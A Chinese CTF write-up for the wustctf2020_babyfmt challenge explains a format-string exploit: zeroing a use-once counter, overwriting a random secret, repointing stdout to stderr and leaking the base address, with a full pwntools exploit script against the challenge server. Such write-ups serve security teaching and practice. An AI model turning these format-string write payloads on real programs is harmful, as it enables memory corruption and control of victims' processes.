BUU-wustctf2020_babyfmt-WP
这是一道格式化字符串的题目,绕的弯子有点多,我觉得是一道不错的题目。

保护全开。

程序本身来看,是很典型的让我们pwn的题。

leak函数做到了泄露一个字节,但是只能泄露一次。

fmt_attack就是一个格式化字符串漏洞,但是有两点要注意:
- 虽然和leak一样用了一个变量让我们只能使用一次这个漏洞,但是我们借用这个格式化字符串漏洞可以容易地修改*a1为零实现多次利用。
- 这里IDA的反编译出现了错误,printf其实并没有对输出的字节数做限制(可以尝试输入像
%2000c
这样地格式化占位符,就会发现输出了一大片空格,显然是没有进行真正地限制的)。

get_flag这个函数确实可以为我们输出flag,但是首先要输入一个与secret相等的字符串,而这是随机生成的,所以我们需要用格式化字符串完成覆写。然后关闭了标准输出,所以即使我们进入了这个if中,也无法输出,但是我们可以把bss段中存储stdout中存储的指针指向stderr。由于libc这个动态链接库中,stderr大概率就在stdout旁边,所以他们应该只有低四位会有区别。又由于ALSR只能在页级上实现随机化,所以低十二位都是固定的,那么我们可以先用一次leak泄露stderr的最低8位,然后再重连服务器,leak会变得8-16位,然后覆写掉stdout的指针的低16位。
这样我们现在的难点就是泄露程序基地址了,

而ask_time函数中的v2存储了一个空指令的地址

那么我们在ask_time要输入的时候选择输入一个字母不改变v2的值,就获得了基地址。
于是有exp
from pwn import *
context(log_level = 'debug',arch = 'amd64',os = 'linux')
#sh = process("./wustctf2020_babyfmt")
sh = remote("node3.buuoj.cn","28174")
secret_addr = 0x202060
sh.sendlineafter("tell me the time:",'a')
sh.recvuntil("ok! time is ")
stack_addr = int(sh.recvuntil(':',drop = True),base = 10)
base_addr = int(sh.recvuntil(':',drop = True),base = 10) - 0xbd5 #got from gdb
print hex(base_addr)
stderr_addr = base_addr + 0x202040
stdout_addr = base_addr + 0x202020
sh.recvuntil(">>")
for i in range(0,8):
sh.sendlineafter(">>","2")
payload = "%7$lln" + "%10$lln" + "aaa" + p64(base_addr + secret_addr + 8*i)
sh.sendline(payload)
sh.sendlineafter(">>","1")
sh.sendline(p64(stderr_addr + 1))
tail = ord(sh.recv(1))
print (tail<<8) + 64
payload = ("%7$lln" + "%" + str((tail<<8)+0x40) + "c" + "%11$hn").ljust(24,"a") + p64(stdout_addr)
sh.sendlineafter(">>","2")
sh.sendline(payload)
sleep(3)
sh.sendlineafter(">>","3")
sh.send('\x00'*0x40)
sh.interactive()
最后我想强调一下,类似于BUU-wustctf2020_closed-WP这道题,都关闭了stdout,现在有的解决方法有
- 使用
exec 1>&0
将标准输出重定向到标准输入 - 劫持stdout的指针指向如stderr等可泄露的输出流。